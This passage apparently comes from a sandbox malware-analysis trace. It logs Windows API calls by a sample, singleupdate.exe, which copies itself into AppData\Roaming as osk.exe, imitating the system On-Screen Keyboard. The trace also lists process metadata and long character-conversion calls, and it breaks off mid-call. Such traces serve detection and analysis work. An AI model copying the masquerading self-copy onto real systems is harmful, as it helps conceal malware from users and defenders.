0x0 [0179.909] SetErrorMode (uMode=0x1) returned 0x0 [0179.909] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", nBufferLength=0xffce, lpBuffer=0x2f72578, lpFilePart=0xafee44 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFilePart=0xafee44*="osk.exe") returned 0x27 [0179.909] SetErrorMode (uMode=0x0) returned 0x1 [0179.909] _wcsicmp (_String1="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", _String2="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 3 [0179.909] ??_V@YAXPAX@Z () returned 0x1 [0179.910] GetProcessHeap () returned 0x2d00000 [0179.910] RtlAllocateHeap (HeapHandle=0x2d00000, Flags=0x8, Size=0x258) returned 0x2d00d40 [0179.910] _wcsicmp (_String1="osk.exe", _String2=".") returned 65 [0179.910] _wcsicmp (_String1="osk.exe", _String2="..") returned 65 [0179.910] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe")) returned 0xffffffff [0179.910] GetLastError () returned 0x2 [0179.910] malloc (_Size=0xffce) returned 0x2f72578 [0179.911] ??_V@YAXPAX@Z () returned 0xafedfc [0179.911] malloc (_Size=0xffce) returned 0x2f82550 [0179.911] ??_V@YAXPAX@Z () returned 0xafebb4 [0179.912] ??_V@YAXPAX@Z () returned 0x1 [0179.912] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", nBufferLength=0x7fe7, lpBuffer=0x2f72578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFilePart=0x0) returned 0x27 [0179.912] ??_V@YAXPAX@Z () returned 0x1 [0179.913] malloc (_Size=0x1ff9c) returned 0x2f72578 [0179.914] ??_V@YAXPAX@Z () returned 0xafee24 [0179.914] SetErrorMode (uMode=0x0) returned 0x0 [0179.914] SetErrorMode (uMode=0x1) returned 0x0 [0179.914] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", nBufferLength=0xffce, lpBuffer=0x2f72578, lpFilePart=0xafee44 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFilePart=0xafee44*="osk.exe") returned 0x27 [0179.914] SetErrorMode (uMode=0x0) returned 0x1 [0179.914] _wcsicmp (_String1="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", _String2="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 3 [0179.914] ??_V@YAXPAX@Z () returned 0x1 [0179.915] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe")) returned 0xffffffff [0179.915] CopyFileExW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), lpProgressRoutine=0x0, lpData=0x0, pbCancel=0xc2d54c, dwCopyFlags=0x0) returned 1 [0180.064] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe")) returned 0x20 [0180.064] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", dwFileAttributes=0x20) returned 1 [0180.064] _close (_FileHandle=3) returned 0 [0180.064] FindNextFileW (in: hFindFile=0x2d08228, lpFindFileData=0x2d07f98 | out: lpFindFileData=0x2d07f98) returned 0 [0180.065] GetLastError () returned 0x12 [0180.065] FindClose (in: hFindFile=0x2d08228 | out: hFindFile=0x2d08228) returned 1 [0180.065] ??_V@YAXPAX@Z () returned 0x1 [0180.065] ??_V@YAXPAX@Z () returned 0x1 [0180.066] ??_V@YAXPAX@Z () returned 0x1 [0180.068] ??_V@YAXPAX@Z () returned 0x1 [0180.069] _vsnwprintf (in: _Buffer=0xc43d10, _BufferCount=0x103, _Format="%9d", _ArgList=0xaff97c | out: _Buffer=" 1") returned 9 [0180.069] _get_osfhandle (_FileHandle=1) returned 0x90 [0180.069] GetFileType (hFile=0x90) returned 0x2 [0180.069] GetStdHandle (nStdHandle=0xfffffff5) returned 0x90 [0180.069] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xaff8d8 | out: lpMode=0xaff8d8) returned 1 [0180.238] _get_osfhandle (_FileHandle=1) returned 0x90 [0180.238] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x90, lpConsoleScreenBufferInfo=0xaff928 | out: lpConsoleScreenBufferInfo=0xaff928) returned 1 [0180.328] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2336, dwLanguageId=0x0, lpBuffer=0xc3b990, nSize=0x2000, Arguments=0x0 | out: lpBuffer="%1 file(s) copied.\r\n") returned 0x14 [0180.330] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2336, dwLanguageId=0x0, lpBuffer=0xc3b990, nSize=0x2000, Arguments=0xaff958 | out: lpBuffer=" 1 file(s) copied.\r\n") returned 0x1b [0180.330] WriteConsoleW (in: hConsoleOutput=0x90, lpBuffer=0xc3b990*, nNumberOfCharsToWrite=0x1b, lpNumberOfCharsWritten=0xaff90c, lpReserved=0x0 | out: lpBuffer=0xc3b990*, lpNumberOfCharsWritten=0xaff90c*=0x1b) returned 1 [0180.452] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x27, ProcessInformation=0xaff994, ProcessInformationLength=0x4) returned 0x0 [0180.452] ??_V@YAXPAX@Z () returned 0x1 [0180.455] _get_osfhandle (_FileHandle=1) returned 0x90 [0180.455] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0180.547] _get_osfhandle (_FileHandle=1) returned 0x90 [0180.547] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc33890 | out: lpMode=0xc33890) returned 1 [0180.701] _get_osfhandle (_FileHandle=0) returned 0x8c [0180.701] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33894 | out: lpMode=0xc33894) returned 1 [0180.780] SetConsoleInputExeNameW () returned 0x1 [0180.780] GetConsoleOutputCP () returned 0x1b5 [0180.875] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0180.875] SetThreadUILanguage (LangId=0x0) returned 0x8a0409 [0180.968] exit (_Code=0) [0180.968] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 14 os_tid = 0x824 Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x193b1000" os_pid = "0x8ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa8c" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 7 os_tid = 0xfac Thread: id = 10 os_tid = 0x840 Thread: id = 11 os_tid = 0x9e4 Thread: id = 12 os_tid = 0xea8 Thread: id = 13 os_tid = 0xf38 Process: id = "4" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x49d1f000" os_pid = "0x5f0" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0xfa0" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000fac7" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 17 os_tid = 0xa2c Thread: id = 18 os_tid = 0xa14 Thread: id = 19 os_tid = 0x8dc Thread: id = 20 os_tid = 0x8d4 Thread: id = 21 os_tid = 0x520 Thread: id = 22 os_tid = 0x67c Thread: id = 23 os_tid = 0x678 Thread: id = 24 os_tid = 0x644 Thread: id = 25 os_tid = 0x640 Thread: id = 26 os_tid = 0x63c Thread: id = 27 os_tid = 0x5f4 Process: id = "5" image_name = "singleupdate.exe" filename = "c:\\users\\fd1hvy\\desktop\\singleupdate.exe" page_root = "0x620db000" os_pid = "0xe64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xfa0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" runas" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0x7f0 [0184.104] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0184.104] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0184.104] GetProcAddress (hModule=0x74ea0000, lpProcName=0x454058) returned 0x74f97060 [0184.104] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0184.105] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsAlloc") returned 0x74f9bea0 [0184.105] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsSetValue") returned 0x74f92550 [0184.105] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0184.106] GetProcAddress (hModule=0x74ea0000, lpProcName="InitializeCriticalSectionEx") returned 0x74f97060 [0184.106] GetProcessHeap () returned 0x650000 [0184.106] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0184.106] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsAlloc") returned 0x74f9bea0 [0184.106] GetLastError () returned 0x0 [0184.106] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsGetValue") returned 0x74f870c0 [0184.106] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsSetValue") returned 0x74f92550 [0184.106] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0x364) returned 0x66c748 [0184.107] SetLastError (dwErrCode=0x0) [0184.107] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x8, Size=0xe00) returned 0x66cab8 [0184.109] GetStartupInfoW (in: lpStartupInfo=0x19fe9c | out: lpStartupInfo=0x19fe9c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0184.109] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0184.109] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0184.109] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0184.109] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" runas" [0184.109] GetCommandLineW () returned="\"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" runas" [0184.109] GetACP () returned 0x4e4 [0184.109] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x220) returned 0x65b418 [0184.109] IsValidCodePage (CodePage=0x4e4) returned 1 [0184.109] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19febc | out: lpCPInfo=0x19febc) returned 1 [0184.109] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f784 | out: lpCPInfo=0x19f784) returned 1 [0184.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0184.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x19f528, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㦨DĀ") returned 256 [0184.109] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㦨DĀ", cchSrc=256, lpCharType=0x19f798 | out: lpCharType=0x19f798) returned 1 [0184.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0184.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x19f4d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0184.109] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0184.109] GetProcAddress (hModule=0x74ea0000, lpProcName="LCMapStringEx") returned 0x74f7ed00 [0184.110] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0184.110] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x19f2c8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0184.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x19fc98, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x6e\x3b\x32\xbc\xd4\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0184.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0184.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd98, cbMultiByte=256, lpWideCharStr=0x19f4f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㪾DĀ") returned 256 [0184.110] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㪾DĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0184.110] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㪾DĀ", cchSrc=256, lpDestStr=0x19f2e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0184.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ 